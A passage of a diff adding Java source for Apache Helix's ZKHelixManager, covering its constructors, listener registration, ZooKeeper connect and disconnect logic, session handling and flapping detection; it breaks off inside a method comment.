+  public ZKHelixManager(String clusterName, String instanceName, InstanceType instanceType,
+      String zkAddress) {
+    this(clusterName, instanceName, instanceType, zkAddress, null);
+  }
+
+  public ZKHelixManager(String clusterName, String instanceName, InstanceType instanceType,
+      String zkAddress, HelixManagerStateListener stateListener) {
+    this(clusterName, instanceName, instanceType, zkAddress, stateListener,
+        HelixPropertyFactory.getInstance().getHelixManagerProperty(zkAddress, clusterName));
+  }
+
+  public ZKHelixManager(String clusterName, String instanceName, InstanceType instanceType,
+      String zkAddress, HelixManagerStateListener stateListener,
+      HelixManagerProperty helixManagerProperty) {
+
+    LOG.info("Create a zk-based cluster manager. zkSvr: " + zkAddress + ", clusterName: "
+        + clusterName + ", instanceName: " + instanceName + ", type: " + instanceType);
+
+    _zkAddress = zkAddress;
+    _clusterName = clusterName;
+    _instanceType = instanceType;
+
+    if (instanceName == null) {
+      try {
+        instanceName =
+            InetAddress.getLocalHost().getCanonicalHostName() + "-" + instanceType.toString();
+      } catch (UnknownHostException e) {
+        // can ignore it
+        LOG.info("Unable to get host name. Will set it to UNKNOWN, mostly ignorable", e);
+        instanceName = "UNKNOWN";
+      }
+    }
+
+    _instanceName = instanceName;
+    _enabledPipelineTypes =
+        Sets.newHashSet(Pipeline.Type.DEFAULT, Pipeline.Type.TASK);
+    _preConnectCallbacks = new ArrayList<>();
+    _handlers = new ArrayList<>();
+    _properties = new HelixManagerProperties(SystemPropertyKeys.CLUSTER_MANAGER_VERSION);
+    _version = _properties.getVersion();
+
+    _keyBuilder = new Builder(clusterName);
+    _messagingService = new DefaultMessagingService(this);
+    try {
+      _callbackMonitors = new HashMap<>();
+      for (ChangeType changeType : ChangeType.values()) {
+        HelixCallbackMonitor callbackMonitor =
+            new HelixCallbackMonitor(instanceType, clusterName, instanceName, changeType);
+        callbackMonitor.register();
+        _callbackMonitors.put(changeType, callbackMonitor);
+      }
+    } catch (JMException e) {
+      LOG.error("Error in creating callback monitor.", e);
+    }
+
+    _stateListener = stateListener;
+    _helixManagerProperty = helixManagerProperty;
+
+    /**
+     * use system property if available
+     */
+    _flappingTimeWindowMs = HelixUtil.getSystemPropertyAsInt(SystemPropertyKeys.FLAPPING_TIME_WINDOW,
+        ZKHelixManager.FLAPPING_TIME_WINDOW);
+
+    _maxDisconnectThreshold = HelixUtil
+        .getSystemPropertyAsInt(SystemPropertyKeys.MAX_DISCONNECT_THRESHOLD,
+            ZKHelixManager.DEFAULT_MAX_DISCONNECT_THRESHOLD);
+
+    _sessionTimeout = HelixUtil.getSystemPropertyAsInt(SystemPropertyKeys.ZK_SESSION_TIMEOUT,
+        HelixZkClient.DEFAULT_SESSION_TIMEOUT);
+
+    _connectionInitTimeout = HelixUtil
+        .getSystemPropertyAsInt(SystemPropertyKeys.ZK_CONNECTION_TIMEOUT,
+            HelixZkClient.DEFAULT_CONNECTION_TIMEOUT);
+
+    _waitForConnectedTimeout = HelixUtil
+        .getSystemPropertyAsInt(SystemPropertyKeys.ZK_WAIT_CONNECTED_TIMEOUT,
+            DEFAULT_WAIT_CONNECTED_TIMEOUT);
+
+    _reportLatency = HelixUtil
+        .getSystemPropertyAsInt(SystemPropertyKeys.PARTICIPANT_HEALTH_REPORT_LATENCY,
+            ParticipantHealthReportTask.DEFAULT_REPORT_LATENCY);
+
+    MonitorLevel configuredMonitorLevel;
+    try {
+      configuredMonitorLevel = MonitorLevel.valueOf(
+          System.getProperty(SystemPropertyKeys.MONITOR_LEVEL, MonitorLevel.DEFAULT.name()));
+    } catch (IllegalArgumentException ex) {
+      LOG.warn("Unrecognizable Monitor Level configuration. Use DEFAULT monitor level.", ex);
+      configuredMonitorLevel = MonitorLevel.DEFAULT;
+    }
+    _monitorLevel = configuredMonitorLevel;
+
+    /**
+     * instance type specific init
+     */
+    switch (instanceType) {
+    case PARTICIPANT:
+      _stateMachineEngine = new HelixStateMachineEngine(this);
+      _participantHealthInfoCollector =
+          new ParticipantHealthReportCollectorImpl(this, _instanceName);
+      _timerTasks
+          .add(new ParticipantHealthReportTask(_participantHealthInfoCollector, _reportLatency));
+      break;
+    case CONTROLLER:
+      _stateMachineEngine = null;
+      _participantHealthInfoCollector = null;
+      _controllerTimerTasks.add(new StatusDumpTask(this));
+
+      break;
+    case CONTROLLER_PARTICIPANT:
+      _stateMachineEngine = new HelixStateMachineEngine(this);
+      _participantHealthInfoCollector =
+          new ParticipantHealthReportCollectorImpl(this, _instanceName);
+
+      _timerTasks
+          .add(new ParticipantHealthReportTask(_participantHealthInfoCollector, _reportLatency));
+      _controllerTimerTasks.add(new StatusDumpTask(this));
+      break;
+    case ADMINISTRATOR:
+    case SPECTATOR:
+      _stateMachineEngine = null;
+      _participantHealthInfoCollector = null;
+      break;
+    default:
+      throw new IllegalArgumentException("unrecognized type: " + instanceType);
+    }
+  }
+
+  public void setEnabledControlPipelineTypes(Set<Pipeline.Type> types) {
+    if (!InstanceType.CONTROLLER.equals(_instanceType) && !InstanceType.CONTROLLER_PARTICIPANT
+        .equals(_instanceType)) {
+      throw new IllegalStateException(
+          String.format("Cannot enable control pipeline for instance type %s", _instanceType));
+    }
+    _enabledPipelineTypes = types;
+  }
+
+  @Override public boolean removeListener(PropertyKey key, Object listener) {
+    LOG.info("Removing listener: " + listener + " on path: " + key.getPath() + " from cluster: "
+        + _clusterName + " by instance: " + _instanceName);
+
+    synchronized (this) {
+      List<CallbackHandler> toRemove = new ArrayList<>();
+      for (CallbackHandler handler : _handlers) {
+        // compare property-key path and listener reference
+        if (handler.getPath().equals(key.getPath()) && handler.getListener().equals(listener)) {
+          toRemove.add(handler);
+        }
+      }
+
+      _handlers.removeAll(toRemove);
+
+      // handler.reset() may modify the handlers list, so do it outside the iteration
+      for (CallbackHandler handler : toRemove) {
+        handler.reset(true);
+      }
+    }
+
+    return true;
+  }
+
+  void checkConnected() {
+    checkConnected(-1);
+  }
+
+  /**
+   * Check if HelixManager is connected, if it is not connected,
+   * wait for the specified timeout and check again before return.
+   *
+   * @param timeout
+   */
+  void checkConnected(long timeout) {
+    if (_zkclient == null || _zkclient.isClosed()) {
+      throw new HelixException(
+          "HelixManager (ZkClient) is not connected. Call HelixManager#connect()");
+    }
+
+    boolean isConnected = isConnected();
+    if (!isConnected && timeout > 0) {
+      LOG.warn(
+          "zkClient to " + _zkAddress + " is not connected, wait for " + _waitForConnectedTimeout
+              + "ms.");
+      isConnected = _zkclient.waitUntilConnected(_waitForConnectedTimeout, TimeUnit.MILLISECONDS);
+    }
+
+    if (!isConnected) {
+      LOG.error("zkClient is not connected after waiting " + timeout + "ms."
+          + ", clusterName: " + _clusterName + ", zkAddress: " + _zkAddress);
+      throw new HelixException(
+          "HelixManager is not connected within retry timeout for cluster " + _clusterName);
+    }
+  }
+
+  void addListener(Object listener, PropertyKey propertyKey, ChangeType changeType,
+      EventType[] eventType) {
+    checkConnected(_waitForConnectedTimeout);
+
+    PropertyType type = propertyKey.getType();
+
+    synchronized (this) {
+      for (CallbackHandler handler : _handlers) {
+        // compare property-key path and listener reference
+        if (handler.getPath().equals(propertyKey.getPath())
+            && handler.getListener().equals(listener)) {
+          LOG.info("Listener: " + listener + " on path: " + propertyKey.getPath()
+              + " already exists. skip add");
+
+          return;
+        }
+      }
+
+      CallbackHandler newHandler =
+          new CallbackHandler(this, _zkclient, propertyKey, listener, eventType, changeType,
+              _callbackMonitors.get(changeType));
+
+      _handlers.add(newHandler);
+      LOG.info("Added listener: " + listener + " for type: " + type + " to path: "
+          + newHandler.getPath());
+    }
+  }
+
+  @Override
+  public void addIdealStateChangeListener(final IdealStateChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).idealStates(), ChangeType.IDEAL_STATE,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Deprecated
+  @Override
+  public void addIdealStateChangeListener(final org.apache.helix.IdealStateChangeListener listener)
+      throws Exception {
+    addListener(listener, new Builder(_clusterName).idealStates(), ChangeType.IDEAL_STATE,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addLiveInstanceChangeListener(LiveInstanceChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).liveInstances(), ChangeType.LIVE_INSTANCE,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Deprecated
+  @Override
+  public void addLiveInstanceChangeListener(org.apache.helix.LiveInstanceChangeListener listener)
+      throws Exception {
+    addListener(listener, new Builder(_clusterName).liveInstances(), ChangeType.LIVE_INSTANCE,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addConfigChangeListener(ConfigChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).instanceConfigs(), ChangeType.INSTANCE_CONFIG,
+        new EventType[] { EventType.NodeChildrenChanged
+        });
+  }
+
+  @Override
+  public void addInstanceConfigChangeListener(InstanceConfigChangeListener listener)
+      throws Exception {
+    addListener(listener, new Builder(_clusterName).instanceConfigs(), ChangeType.INSTANCE_CONFIG,
+        new EventType[] { EventType.NodeChildrenChanged
+        });
+  }
+
+  @Deprecated
+  @Override
+  public void addInstanceConfigChangeListener(org.apache.helix.InstanceConfigChangeListener listener)
+      throws Exception {
+    addListener(listener, new Builder(_clusterName).instanceConfigs(), ChangeType.INSTANCE_CONFIG,
+        new EventType[] { EventType.NodeChildrenChanged
+        });
+  }
+
+  @Override
+  public void addResourceConfigChangeListener(ResourceConfigChangeListener listener) throws Exception{
+    addListener(listener, new Builder(_clusterName).resourceConfigs(), ChangeType.RESOURCE_CONFIG,
+        new EventType[] { EventType.NodeChildrenChanged
+        });
+  }
+
+  @Override
+  public void addCustomizedStateConfigChangeListener(
+      CustomizedStateConfigChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).customizedStateConfig(),
+        ChangeType.CUSTOMIZED_STATE_CONFIG, new EventType[] {
+            EventType.NodeDataChanged
+        });
+  }
+
+  @Override
+  public void addClusterfigChangeListener(ClusterConfigChangeListener listener) throws Exception{
+    addListener(listener, new Builder(_clusterName).clusterConfig(), ChangeType.CLUSTER_CONFIG,
+        new EventType[] { EventType.NodeDataChanged
+        });
+  }
+
+  @Override
+  public void addConfigChangeListener(ScopedConfigChangeListener listener, ConfigScopeProperty scope)
+      throws Exception {
+    Builder keyBuilder = new Builder(_clusterName);
+
+    PropertyKey propertyKey = null;
+    switch (scope) {
+    case CLUSTER:
+      propertyKey = keyBuilder.clusterConfigs();
+      break;
+    case PARTICIPANT:
+      propertyKey = keyBuilder.instanceConfigs();
+      break;
+    case RESOURCE:
+      propertyKey = keyBuilder.resourceConfigs();
+      break;
+    default:
+      break;
+    }
+
+    if (propertyKey != null) {
+      addListener(listener, propertyKey, ChangeType.CONFIG, new EventType[] {
+        EventType.NodeChildrenChanged
+      });
+    } else {
+      LOG.error("Can't add listener to config scope: " + scope);
+    }
+  }
+
+
+  @Deprecated
+  @Override
+  public void addConfigChangeListener(org.apache.helix.ScopedConfigChangeListener listener, ConfigScopeProperty scope)
+      throws Exception {
+    addConfigChangeListener((ScopedConfigChangeListener) listener, scope);
+  }
+
+  // TODO: Decide if do we still need this since we are exposing
+  // ClusterMessagingService
+  @Override
+  public void addMessageListener(MessageListener listener, String instanceName) {
+    addListener(listener, new Builder(_clusterName).messages(instanceName), ChangeType.MESSAGE,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Deprecated
+  @Override
+  public void addMessageListener(org.apache.helix.MessageListener listener, String instanceName) {
+    addListener(listener, new Builder(_clusterName).messages(instanceName), ChangeType.MESSAGE,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addControllerMessageListener(MessageListener listener) {
+    addListener(listener, new Builder(_clusterName).controllerMessages(),
+        ChangeType.MESSAGES_CONTROLLER, new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Deprecated
+  @Override
+  public void addControllerMessageListener(org.apache.helix.MessageListener listener) {
+    addListener(listener, new Builder(_clusterName).controllerMessages(),
+        ChangeType.MESSAGES_CONTROLLER, new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addCurrentStateChangeListener(CurrentStateChangeListener listener,
+      String instanceName, String sessionId) throws Exception {
+    addListener(listener, new Builder(_clusterName).currentStates(instanceName, sessionId),
+        ChangeType.CURRENT_STATE, new EventType[] { EventType.NodeChildrenChanged
+        });
+  }
+
+  @Deprecated
+  @Override
+  public void addCurrentStateChangeListener(org.apache.helix.CurrentStateChangeListener listener,
+      String instanceName, String sessionId) throws Exception {
+    addListener(listener, new Builder(_clusterName).currentStates(instanceName, sessionId),
+        ChangeType.CURRENT_STATE, new EventType[] { EventType.NodeChildrenChanged
+        });
+  }
+
+  @Override
+  public void addCustomizedStateRootChangeListener(CustomizedStateRootChangeListener listener,
+      String instanceName) throws Exception {
+    addListener(listener, new Builder(_clusterName).customizedStatesRoot(instanceName),
+        ChangeType.CUSTOMIZED_STATE_ROOT, new EventType[]{EventType.NodeChildrenChanged});
+  }
+
+  @Override
+  public void addCustomizedStateChangeListener(CustomizedStateChangeListener listener,
+      String instanceName, String customizedStateType) throws Exception {
+    addListener(listener,
+        new Builder(_clusterName).customizedStates(instanceName, customizedStateType),
+        ChangeType.CUSTOMIZED_STATE, new EventType[]{EventType.NodeChildrenChanged});
+  }
+
+  @Override
+  public void addExternalViewChangeListener(ExternalViewChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).externalViews(), ChangeType.EXTERNAL_VIEW,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addCustomizedViewChangeListener(CustomizedViewChangeListener listener, String customizedStateType)
+      throws Exception {
+    addListener(listener, new Builder(_clusterName).customizedView(customizedStateType),
+        ChangeType.CUSTOMIZED_VIEW, new EventType[] {
+            EventType.NodeChildrenChanged
+        });
+  }
+
+  @Override
+  public void addCustomizedViewRootChangeListener(CustomizedViewRootChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).customizedViews(),
+        ChangeType.CUSTOMIZED_VIEW_ROOT, new EventType[] {
+            EventType.NodeChildrenChanged
+        });
+  }
+
+  @Override
+  public void addTargetExternalViewChangeListener(ExternalViewChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).externalViews(), ChangeType.TARGET_EXTERNAL_VIEW,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Deprecated
+  @Override
+  public void addExternalViewChangeListener(org.apache.helix.ExternalViewChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).externalViews(), ChangeType.EXTERNAL_VIEW,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addControllerListener(ControllerChangeListener listener) {
+    addListener(listener, new Builder(_clusterName).controller(), ChangeType.CONTROLLER,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Deprecated
+  @Override
+  public void addControllerListener(org.apache.helix.ControllerChangeListener listener) {
+    addListener(listener, new Builder(_clusterName).controller(), ChangeType.CONTROLLER,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public HelixDataAccessor getHelixDataAccessor() {
+    checkConnected(_waitForConnectedTimeout);
+    return _dataAccessor;
+  }
+
+  @Override
+  public ConfigAccessor getConfigAccessor() {
+    checkConnected(_waitForConnectedTimeout);
+    return _configAccessor;
+  }
+
+  @Override
+  public String getClusterName() {
+    return _clusterName;
+  }
+
+  /**
+   * Returns a string that can be used to connect to metadata store for this HelixManager instance
+   * i.e. for ZkHelixManager, this will have format "{zookeeper-address}:{port}"
+   * @return a string used to connect to metadata store
+   */
+  @Override
+  public String getMetadataStoreConnectionString() {
+    return _zkAddress;
+  }
+
+  @Override
+  public String getInstanceName() {
+    return _instanceName;
+  }
+
+  BaseDataAccessor<ZNRecord> createBaseDataAccessor() {
+    ZkBaseDataAccessor<ZNRecord> baseDataAccessor = new ZkBaseDataAccessor<>(_zkclient);
+    return baseDataAccessor;
+  }
+
+  /**
+   * Add Helix built-in state model definitions if not exist
+   */
+  private void addBuiltInStateModelDefinitions() {
+    for (BuiltInStateModelDefinitions def : BuiltInStateModelDefinitions.values()) {
+      // creation succeeds only if not exist
+      _dataAccessor.createStateModelDef(def.getStateModelDefinition());
+    }
+  }
+
+  private boolean isMonitorRootPathOnly() {
+    switch (_monitorLevel) {
+    case ALL:
+      return false;
+    case AGGREGATED_ONLY:
+      return true;
+    default:
+      // Otherwise, apply the default policy. Emitting full metrics for controllers only.
+      return !_instanceType.equals(InstanceType.CONTROLLER) && !_instanceType
+          .equals(InstanceType.CONTROLLER_PARTICIPANT);
+    }
+  }
+
+  void createClient() throws Exception {
+    final RealmAwareZkClient newClient = createSingleRealmZkClient();
+
+    synchronized (this) {
+      if (_zkclient != null) {
+        _zkclient.close();
+      }
+      _zkclient = newClient;
+
+      _baseDataAccessor = createBaseDataAccessor();
+
+      _dataAccessor = new ZKHelixDataAccessor(_clusterName, _instanceType, _baseDataAccessor);
+      _configAccessor = new ConfigAccessor(_zkclient);
+
+      if (_instanceType == InstanceType.CONTROLLER
+          || _instanceType == InstanceType.CONTROLLER_PARTICIPANT) {
+        addBuiltInStateModelDefinitions();
+      }
+    }
+
+    // subscribe to state change
+    _zkclient.subscribeStateChanges(this);
+    int retryCount = 0;
+    while (retryCount < 3) {
+      try {
+        final long sessionId =
+            _zkclient.waitForEstablishedSession(_connectionInitTimeout, TimeUnit.MILLISECONDS);
+        handleStateChanged(KeeperState.SyncConnected);
+        /*
+         * This listener is subscribed after SyncConnected and firing new session events,
+         * which means this listener has not yet handled new session, so we have to handle new
+         * session here just for this listener.
+         */
+        handleNewSession(ZKUtil.toHexSessionId(sessionId));
+        break;
+      } catch (HelixException e) {
+        LOG.error("fail to createClient.", e);
+        throw e;
+      } catch (Exception e) {
+        retryCount++;
+        LOG.error("fail to createClient. retry " + retryCount, e);
+        if (retryCount == 3) {
+          throw e;
+        }
+      }
+    }
+  }
+
+  @Override
+  public void connect() throws Exception {
+    LOG.info("ClusterManager.connect()");
+    if (isConnected()) {
+      LOG.warn("Cluster manager: " + _instanceName + " for cluster: " + _clusterName
+          + " already connected. skip connect");
+      return;
+    }
+
+    switch (_instanceType) {
+    case CONTROLLER:
+    case CONTROLLER_PARTICIPANT:
+      if (_controller == null) {
+        _controller = new GenericHelixController(_clusterName, _enabledPipelineTypes);
+        _messagingService.getExecutor().setController(_controller);
+      }
+      break;
+    default:
+      break;
+    }
+
+    try {
+      createClient();
+      _messagingService.onConnected();
+    } catch (Exception e) {
+      LOG.error("fail to connect " + _instanceName, e);
+      try {
+        disconnect();
+      } catch (Exception ex) {
+        // if zk connection fails to be created, disconnect may throw exception about reporting disconnect to ZK.
+      }
+      throw e;
+    }
+  }
+
+  @Override
+  public void disconnect() {
+    if (_zkclient == null || _zkclient.isClosed()) {
+      LOG.info("instanceName: " + _instanceName + " already disconnected");
+      return;
+    }
+
+    LOG.info("disconnect " + _instanceName + "(" + _instanceType + ") from " + _clusterName);
+
+    try {
+      /**
+       * stop all timer tasks
+       */
+      stopTimerTasks();
+
+      /**
+       * shutdown thread pool first to avoid reset() being invoked in the middle of state
+       * transition
+       */
+      _messagingService.getExecutor().shutdown();
+
+      // TODO reset user defined handlers only
+      // TODO Fix the issue that when connection disconnected, reset handlers will be blocked. -- JJ
+      // This is because reset logic contains ZK operations.
+      resetHandlers(true);
+
+      if (_leaderElectionHandler != null) {
+        _leaderElectionHandler.reset(true);
+      }
+
+    } finally {
+      GenericHelixController controller = _controller;
+      if (controller != null) {
+        try {
+          controller.shutdown();
+        } catch (InterruptedException e) {
+          LOG.info("Interrupted shutting down GenericHelixController", e);
+        }
+      }
+
+      ParticipantManager participantManager = _participantManager;
+      if (participantManager != null) {
+        participantManager.disconnect();
+      }
+
+      for (HelixCallbackMonitor callbackMonitor : _callbackMonitors.values()) {
+        callbackMonitor.unregister();
+      }
+
+      _helixPropertyStore = null;
+
+      synchronized (this) {
+        if (_controller != null) {
+          _controller = null;
+          _leaderElectionHandler = null;
+        }
+
+        if (_participantManager != null) {
+          _participantManager = null;
+        }
+
+        if (_zkclient != null) {
+          _zkclient.close();
+        }
+      }
+      _sessionStartTime = null;
+      LOG.info("Cluster manager: " + _instanceName + " disconnected");
+    }
+  }
+
+  @Override
+  public String getSessionId() {
+    checkConnected(_waitForConnectedTimeout);
+    // TODO: session id should be updated after zk client is connected.
+    // Otherwise, this session id might be an expired one.
+    return _sessionId;
+  }
+
+  @Override
+  public boolean isConnected() {
+    if (_zkclient == null || _zkclient.isClosed()) {
+      return false;
+    }
+    // Don't check ZkConnection state, which is different from ZkClient's watcher state.
+    // ZkConnection state is the internal state of the connection, which can be different from the
+    // ZkClient state due to internal thread/retry logic.
+    try {
+      return _zkclient.waitUntilConnected(0, TimeUnit.MILLISECONDS);
+    } catch (ZkInterruptedException ex) {
+      return false;
+    }
+  }
+
+  @Override
+  public long getLastNotificationTime() {
+    return 0;
+  }
+
+  @Override
+  public void addPreConnectCallback(PreConnectCallback callback) {
+    LOG.info("Adding preconnect callback: " + callback);
+    _preConnectCallbacks.add(callback);
+  }
+
+  @Override
+  public boolean isLeader() {
+    String warnLogPrefix = String
+        .format("Instance %s is not leader of cluster %s due to", _instanceName, _clusterName);
+    if (_instanceType != InstanceType.CONTROLLER
+        && _instanceType != InstanceType.CONTROLLER_PARTICIPANT) {
+      LOG.warn(String
+          .format("%s instance type %s does not match to CONTROLLER/CONTROLLER_PARTICIPANT",
+              warnLogPrefix, _instanceType.name()));
+      return false;
+    }
+
+    if (!isConnected()) {
+      LOG.warn(String.format("%s HelixManager is not connected", warnLogPrefix));
+      return false;
+    }
+
+    try {
+      LiveInstance leader = _dataAccessor.getProperty(_keyBuilder.controllerLeader());
+      if (leader != null) {
+        String leaderName = leader.getInstanceName();
+        String sessionId = leader.getEphemeralOwner();
+        if (leaderName != null && leaderName.equals(_instanceName) && sessionId
+            .equals(_sessionId)) {
+          return true;
+        }
+        LOG.warn(String
+            .format("%s current session %s does not match leader session %s", warnLogPrefix,
+                _sessionId, sessionId));
+      } else {
+        LOG.warn(String.format("%s leader ZNode is null", warnLogPrefix));
+      }
+    } catch (Exception e) {
+      LOG.warn(String.format("%s exception happen when session check", warnLogPrefix), e);
+    }
+    return false;
+  }
+
+  @Override
+  public synchronized ZkHelixPropertyStore<ZNRecord> getHelixPropertyStore() {
+    checkConnected(_waitForConnectedTimeout);
+
+    if (_helixPropertyStore == null) {
+      String path = PropertyPathBuilder.propertyStore(_clusterName);
+      String fallbackPath = String.format("/%s/%s", _clusterName, "HELIX_PROPERTYSTORE");
+      _helixPropertyStore =
+          new AutoFallbackPropertyStore<>(new ZkBaseDataAccessor<>(_zkclient),
+              path, fallbackPath);
+    }
+
+    return _helixPropertyStore;
+  }
+
+  @Override
+  public synchronized HelixAdmin getClusterManagmentTool() {
+    checkConnected(_waitForConnectedTimeout);
+    if (_zkclient != null && !_zkclient.isClosed()) {
+      return new ZKHelixAdmin(_zkclient);
+    }
+
+    LOG.error("Couldn't get ZKClusterManagementTool because zkclient is null");
+    return null;
+  }
+
+  @Override
+  public ClusterMessagingService getMessagingService() {
+    // The caller can register message handler factories on messaging service before the
+    // helix manager is connected. Thus we do not do connected check here.
+    return _messagingService;
+  }
+
+  @Override
+  public InstanceType getInstanceType() {
+    return _instanceType;
+  }
+
+  @Override
+  public String getVersion() {
+    return _version;
+  }
+
+  @Override
+  public HelixManagerProperties getProperties() {
+    return _properties;
+  }
+
+  @Override
+  public StateMachineEngine getStateMachineEngine() {
+    return _stateMachineEngine;
+  }
+
+  // TODO: rename this and not expose this function as part of interface
+  @Override
+  public void startTimerTasks() {
+    for (HelixTimerTask task : _timerTasks) {
+      task.start();
+    }
+  }
+
+  @Override
+  public void stopTimerTasks() {
+    for (HelixTimerTask task : _timerTasks) {
+      task.stop();
+    }
+  }
+
+  @Override
+  public void setLiveInstanceInfoProvider(LiveInstanceInfoProvider liveInstanceInfoProvider) {
+    _liveInstanceInfoProvider = liveInstanceInfoProvider;
+  }
+
+  /**
+   * wait until we get a non-zero session-id. note that we might lose zkconnection
+   * right after we read session-id. but it's ok to get stale session-id and we will have
+   * another handle-new-session callback to correct this.
+   */
+  void waitUntilConnected() {
+    boolean isConnected;
+    do {
+      isConnected =
+          _zkclient.waitUntilConnected(HelixZkClient.DEFAULT_CONNECTION_TIMEOUT, TimeUnit.MILLISECONDS);
+      if (!isConnected) {
+        LOG.error("fail to connect zkserver: " + _zkAddress + " in "
+            + HelixZkClient.DEFAULT_CONNECTION_TIMEOUT + "ms. expiredSessionId: " + _sessionId
+            + ", clusterName: " + _clusterName);
+        continue;
+      }
+
+      _sessionId = ZKUtil.toHexSessionId(_zkclient.getSessionId());
+
+      /**
+       * at the time we read session-id, zkconnection might be lost again
+       * wait until we get a non-zero session-id
+       */
+    } while (!isConnected || "0".equals(_sessionId));
+
+    LOG.info("Handling new session, session id: " + _sessionId + ", instance: " + _instanceName
+        + ", instanceTye: " + _instanceType + ", cluster: " + _clusterName);
+  }
+
+  void initHandlers(List<CallbackHandler> handlers) {
+    synchronized (this) {
+      if (handlers != null) {
+        // get a copy of the list and iterate over the copy list
+        // in case handler.init() modifies the original handler list
+        List<CallbackHandler> tmpHandlers = new ArrayList<>(handlers);
+        for (CallbackHandler handler : tmpHandlers) {
+          handler.init();
+          LOG.info("init handler: " + handler.getPath() + ", " + handler.getListener());
+        }
+      }
+    }
+  }
+
+  void resetHandlers(boolean isShutdown) {
+    synchronized (this) {
+      if (_handlers != null) {
+        // get a copy of the list and iterate over the copy list
+        // in case handler.reset() modifies the original handler list
+        List<CallbackHandler> tmpHandlers = new ArrayList<>(_handlers);
+        for (CallbackHandler handler : tmpHandlers) {
+          handler.reset(isShutdown);
+          LOG.info("reset handler: " + handler.getPath() + ", " + handler.getListener());
+        }
+      }
+    }
+  }
+
+  /**
+   * If zk state has changed into Disconnected for maxDisconnectThreshold times during previous
+   * timeWindowLengthMs Ms
+   * time window, we think that there are something wrong going on and disconnect the zkHelixManager
+   * from zk.
+   */
+  boolean isFlapping() {
+    if (_disconnectTimeHistory.size() == 0) {
+      return false;
+    }
+    long mostRecentTimestamp = _disconnectTimeHistory.get(_disconnectTimeHistory.size() - 1);
+
+    // Remove disconnect history timestamp that are older than flappingTimeWindowMs ago
+    while ((_disconnectTimeHistory.get(0) + _flappingTimeWindowMs) < mostRecentTimestamp) {
+      _disconnectTimeHistory.remove(0);
+    }
+    return _disconnectTimeHistory.size() > _maxDisconnectThreshold;
+  }
+
+  @Override
+  public void handleStateChanged(KeeperState state) {
+    switch (state) {
+    case SyncConnected:
+      LOG.info("KeeperState: " + state + ", instance: " + _instanceName + ", type: " + _instanceType);
+      break;
+    case Disconnected:
+      /**
+       * Track the time stamp that the disconnected happens, then check history and see if
+       * we should disconnect the helix-manager
+       */
+      _disconnectTimeHistory.add(System.currentTimeMillis());
+      if (isFlapping()) {
+        String errorMsg = "instanceName: " + _instanceName + " is flapping. disconnect it. "
+            + " maxDisconnectThreshold: " + _maxDisconnectThreshold + " disconnects in "
+            + _flappingTimeWindowMs + "ms.";
+        LOG.error(errorMsg);
+
+        // Only disable the instance when it's instance type is PARTICIPANT
+        if (_instanceType.equals(InstanceType.PARTICIPANT)) {
+          LOG.warn("instanceName: " + _instanceName
+              + " is flapping. Since it is a participant, disable it.");
+          try {
+            getClusterManagmentTool().enableInstance(_clusterName, _instanceName, false);
+          } catch (Exception e) {
+            LOG.error("Failed to disable participant before disconnecting participant.", e);
+          }
+        }
+
+        try {
+          // TODO Call disconnect in another thread.
+          // handleStateChanged is triggered in ZkClient eventThread. The disconnect logic will
+          // interrupt this thread. This issue prevents the ZkClient.close() from complete. So the
+          // client is left in a strange state.
+          disconnect();
+        } catch (Exception ex) {
+          LOG.error("Disconnect HelixManager is not completely done.", ex);
+        }
+
+        if (_stateListener != null) {
+          try {
+            _stateListener.onDisconnected(this, new HelixException(errorMsg));
+          } catch (Exception e) {
+            LOG.warn("stateListener.onDisconnected callback fails", e);
+          }
+        }
+        break;
+      }
+    // if not flapping, share the continuous logic with Expired case
+    case Expired:
+      LOG.warn("KeeperState:" + state + ", SessionId: " + _sessionId + ", instance: "
+          + _instanceName + ", type: " + _instanceType);
+      break;
+    default:
+      LOG.info("KeeperState:" + state + ", currentSessionId: " + _sessionId + ", instance: "
+          + _instanceName + ", type: " + _instanceType);
+      break;
+    }
+  }
+
+  /**
+   * Called after zookeeper session has expired and a new session has been established. This method
+   * may cause session race condition when creating ephemeral nodes. Internally, this method calls
+   * {@link #handleNewSession(String)} with a null value as the sessionId parameter, which results
+   * in later creating the ephemeral node in the session of the latest zk connection.
+   * But please note that the session of the latest zk connection might not be the expected session.
+   * This is the session race condition issue.
+   *
+   * To avoid the race condition issue, please use {@link #handleNewSession(String)}.
+   *
+   * @deprecated
+   * This method is deprecated, because it may cause session race condition when creating ephemeral
+   * nodes. It is kept for backward compatibility in case a user class extends this class.
+   *
+   * Please use {@link #handleNewSession(String)} instead, which takes care of race condition.
+   *
+   * @throws Exception If any error occurs.
+   */
+  @Deprecated
+  public void handleNewSession() throws Exception {
+    handleNewSession(null);
+  }
+
+  /**
+   * Called after the zookeeper session has expired and a new session has been established. This
+   * methods handles a new session with its session id passed in. Before handling, this method
+   * waits until zk client is connected to zk service and gets a non-zero session id(current actual
+   * session id). If the passed-in(expected) session id does not match current actual session id,
+   * the expected session id is expired and will NOT be handled.
+   *
+   * @param sessionId the new session's id. The ephemeral nodes are expected to be created in this
+   *                  session. If this session id is expired, ephemeral nodes should not be created.
+   * @throws Exception if any error occurs during handling new session
+   */
+  @Override
+  public void handleNewSession(String sessionId) throws Exception {
+    /*
